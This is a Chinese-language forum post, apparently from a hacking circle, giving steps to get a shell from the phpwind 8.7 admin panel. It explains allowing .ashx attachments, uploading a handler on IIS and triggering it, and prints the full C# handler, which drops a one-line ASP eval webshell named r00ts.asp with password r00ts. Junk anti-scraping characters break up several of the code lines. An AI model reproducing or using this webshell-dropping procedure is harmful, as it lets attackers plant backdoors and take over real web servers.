phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
; k' u% Y6 g! k2 k6 ?. b1 R) W' p
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
! a0 J; t* w0 Y) Z
+ E9 u) M* T, _$ n1 X9 W然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

  ~9 E6 m1 c3 n' R/ u$ c, X3 c9 B7 z: k+ {打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

, h1 t7 T+ c. g! ?3 T# h3 \7 ?下面是代码:

6 U7 ?9 f  t) f6 o& \<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
1 s! b" f! V7 N8 K! kcontext.Response.ContentType = "text/plain";
6 \9 D& Q! ?. h0 \- sStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
* L; v$ p1 E* M/ [2 D0 N" r! h. kfile1.Flush();
file1.Close();
& }' m4 ?' O" x. v" Q5 x! S}
public bool IsReusable {
  Q. A5 b8 D1 V( Fget {
3 [) _. U8 d% C! ~# I: ?return false;
}
3 u/ A. g' u+ a8 u" v# C: D}
}